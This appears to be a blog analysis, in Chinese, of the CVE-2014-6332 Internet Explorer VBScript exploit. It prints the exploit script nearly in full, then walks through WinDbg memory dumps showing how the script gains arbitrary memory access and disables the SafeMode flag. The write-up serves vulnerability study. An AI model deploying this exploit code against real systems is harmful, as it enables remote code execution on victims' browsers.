<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then  
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  
    Setnotsafemode()
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()  
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  IsEmpty("Assign With CScriptEntryPoint Object")
  ab(0)=6.36598737437801E-314  
  IsEmpty("Change CScriptEntryPoint VarType")
  aa(a1+2)=myarray
  IsEmpty("Assign With myrray")
  ab(2)=1.74088534731324E-310  
  IsEmpty("Change myarray VarType")
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313  
  Runmumaa()
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)  
end function

function ReadMemo(add)  
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  
  IsEmpty(add)
  IsEmpty(lenb(aa(a1)))
  ReadMemo=lenb(aa(a1))  
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

 

1)  Over()  构造内存布局,记下ab(0)的位置

          0:005> dd poi(poi(poi(esp+c)+c)+c)
          002d08a0  00000005 00000000 61f20b24 3ff03291
          002d08b0  00000000 00000000 00000000 00000000
          002d08c0  00000000 00000000 00000000 00000000
          002d08d0  00000000 00000000 00000000 00000000
          002d08e0  00000000 00000000 00000000 00000000
          002d08f0  00000000 00000000 00000000 00000000
          002d0900  00000000 00000000 00000000 00000000
          002d0910  00000000 00000000 00000000 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

 

2) Setnotsafemode()->Mydata()   拿到CScriptEntryPoint对象; 填入精心构造的myarray备用

          0:005> du poi(poi(esp+c)+8)
          01f4ddb8  "Assign With CScriptEntryPoint Ob"
          01f4ddf8  "ject"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000002 00000000  ab(0)
aa(a1)    002d08a8  00000001 00620150 01f50270 9a000f95  ab(1)   --> 已经拿到CScriptEntryPoint对象,但类型是null,需要改类型为long,才能通过aa读出
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> ln poi(01f50270)
          (6ca44934)   vbscript!CScriptEntryPoint::`vftable   |  (6ca5ab54)   vbscript!CEntryPointDispatch::`vftable
          Exact matches:
              vbscript!CScriptEntryPoint::`vftable = <no type information>

 

          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de24  "Change CScriptEntryPoint VarType"
          01f4de64  ""
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)  --> 改变VarType成功
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de70  "Assign With myrray"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  01f20008 00000023 002fccec 01f2cef8  ab(3) --> 精心构造了字符串,目前还是string类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> dd 002fccec
          002fccec  08800001 00000001 00000000 00000000       --> 字符串精心构造成Array的结构,Array的长度还设置成0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000
          002fccfc  7fff0000 00000000 00000000 1291ed9f
          002fcd0c  80000000 6a00ffff 00000842 0027fca8
          002fcd1c  002df720 00000000 00000035 0032450c
          002fcd2c  00324524 1291ed98 88000000 00000000
          002fcd3c  00000000 0027fca8 00000000 00000000
          002fcd4c  00000056 0032453c 002ae5d4 1291ed95
          002fcd5c  80000000 6a0001f6 00000868 0027fca8
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4dea0  "Change myarray VarType"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)  -->成功把string类型改为Array类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

 

3) Setnotsafemode() -> ReadMemo() 读取指定内存内容,从而拿到COleScript对象

这里我们重点看ReadMemo是如何拿到指定内存内容的

          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000003 01f50278 9a000f95  --> ReadMemo 参数是 add=01f50270+8
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000008 00000008 01f5027c 41a00000  ab(1) --> 通过aa(a1)、ab(0)赋值,使得 aa(a1)类型为String,根据String的结构,内容前4个字节是存放长度的位置,所以lenb(aa(a1))会去读01f50278的内容
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000000 01f4ff80 01f44484  --> 结果为01f4ff80
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000
          
          0:005> dd 01f50278 l1                         --> 01f50278的内容的确是01f4ff80
          01f50278  01f4ff80

 

继续ReadMemo(i+16), 最终能拿到COleScript对象

4) 最后搜索内存中的SafeMode标志,如果是0e,则改为ab(4),ab(4)的值就是0

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

 

aa(a1+2) 是精心构造的myarray,  Array的长度是0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000,因此aa(a1+2)可访问内存空间是0x00000000-0x7fff0000

aa(a1+2)(i+&h11c+k)=ab(4)  即将SafeMode标识改为0x0, 从而升级为GodMode权限。

 

弹出Notepad, 分析结束!

技术分享

 



以上是关于CVE-2014-6332调试的主要内容,如果未能解决你的问题,请参考以下文章

PHP代码-psysh调试代码片段工具

方便调试使用的代码片段

运行/调试你的PHP代码

eclipse 断点调试

在 intellij 上调试评估表达式

Python 自动化 - 浏览器chrome打开F12开发者工具自动Paused in debugger调试导致无法查看网站资源问题原因及解决方法,javascript反调试问题处理实例演示(代码片段